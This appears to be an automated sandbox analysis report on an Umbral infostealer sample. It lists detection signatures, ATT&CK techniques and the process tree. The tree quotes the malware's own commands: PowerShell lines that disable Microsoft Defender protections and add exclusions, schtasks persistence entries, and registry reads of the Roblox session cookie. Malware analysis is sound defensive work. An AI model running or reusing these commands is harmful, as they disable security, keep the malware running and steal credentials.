Analysis
- max time kernel
150s - max time network
144s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260706-en - resource tags
- submitted
07/07/2026, 10:32
General
- Target 2026-07-07_53cf5cae7f69f88c2c82eb0c1e7882f4_elex_glassworm_ngrbot_wannacry.exe
- Size 458KB
- Sample260707-mlafmsfz3x
- SHA256 122f5bc70d9e30ba337a88831c5f69160544cfd4dc371f3cd6d3fc0099f5a055
Malware Config
Signatures
- Family: Umbral
Umbral stealer is an open-source modular stealer written in C#.
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
- Detects Umbral payload 2 IoCs
- Detects command variations typically used by ransomware 1 IoCs
- Detects executables attemping to enumerate video devices using WMI 1 IoCs
- Detects executables containing anti-forensic artifacts of deleting USN change journal. Observed in r 1 IoCs
- Detects executables containing artifacts associated with disabling Widnows Defender 1 IoCs
- Detects executables containing possible sandbox analysis VM names 1 IoCs
- Detects executables containing possible sandbox analysis VM usernames 1 IoCs
- Detects executables containing possible sandbox system UUIDs 1 IoCs
- Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs
- Detects executables using Telegram Chat Bot 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 27 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-07_53cf5cae7f69f88c2c82eb0c1e7882f4_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-07_53cf5cae7f69f88c2c82eb0c1e7882f4_elex_glassworm_ngrbot_wannacry.exe"1⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-07-07_53cf5cae7f69f88c2c82eb0c1e7882f4_elex_glassworm_ngrbot_wannacry.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Disables automatic submission of suspicious files to Microsoft by Windows Defender
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /create /tn "ZskXdMih" /tr "\"C:\Users\Admin\AppData\Local\Temp\2026-07-07_53cf5cae7f69f88c2c82eb0c1e7882f4_elex_glassworm_ngrbot_wannacry.exe\"" /sc onlogon /rl highest /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /create /tn "ZskXdMih_svc" /tr "\"C:\Users\Admin\AppData\Local\Temp\2026-07-07_53cf5cae7f69f88c2c82eb0c1e7882f4_elex_glassworm_ngrbot_wannacry.exe\"" /sc minute /mo 5 /rl highest /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\2026-07-07_53cf5cae7f69f88c2c82eb0c1e7882f4_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-07_53cf5cae7f69f88c2c82eb0c1e7882f4_elex_glassworm_ngrbot_wannacry.exe"1⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_somxwk1j.xke.ps1
memory/2576-1-0x00007FFB4635F000-0x00007FFB46360000-memory.dmp
memory/2576-48-0x0000028A5FBC0000-0x0000028A5FBD2000-memory.dmp
memory/2576-47-0x0000028A5FB90000-0x0000028A5FB9A000-memory.dmp
memory/2576-44-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp
memory/2576-53-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp
memory/2576-3-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp
memory/2576-2-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp
memory/2576-35-0x0000028A5FA60000-0x0000028A5FA7E000-memory.dmp
memory/2576-34-0x0000028A5FBE0000-0x0000028A5FC30000-memory.dmp
memory/2576-33-0x0000028A78350000-0x0000028A783C6000-memory.dmp
memory/2576-32-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp
memory/2576-0-0x0000028A5DBD0000-0x0000028A5DC48000-memory.dmp
memory/3132-12-0x0000025BA2A00000-0x0000025BA2AB2000-memory.dmp
memory/3132-18-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp
memory/3132-22-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp
memory/3132-23-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp
memory/3132-24-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp
memory/3132-25-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp
memory/3132-27-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp
memory/3132-20-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp
memory/3132-19-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp
memory/3132-21-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp
memory/3132-17-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp
memory/3132-16-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp
memory/3132-15-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp
memory/3132-14-0x0000025BA27C0000-0x0000025BA27CA000-memory.dmp
memory/3132-11-0x0000025BA29E0000-0x0000025BA29FE000-memory.dmp
memory/3132-13-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp
memory/3132-8-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp
memory/3132-7-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp
memory/3132-6-0x0000025BA2700000-0x0000025BA2722000-memory.dmp